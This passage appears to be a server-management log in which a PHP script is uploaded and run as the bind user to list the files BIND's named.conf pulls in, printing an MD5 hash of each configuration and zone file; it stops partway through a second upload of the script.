MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:27:27: Establishing a connection
2026-04-22 12:27:27: 

PUT: /tmp/pkp405546

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:27:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp405546; rm /tmp/pkp405546'

2026-04-22 12:27:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:28:35: Establishing a connection
2026-04-22 12:28:35: 

PUT: /tmp/pkp323972

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
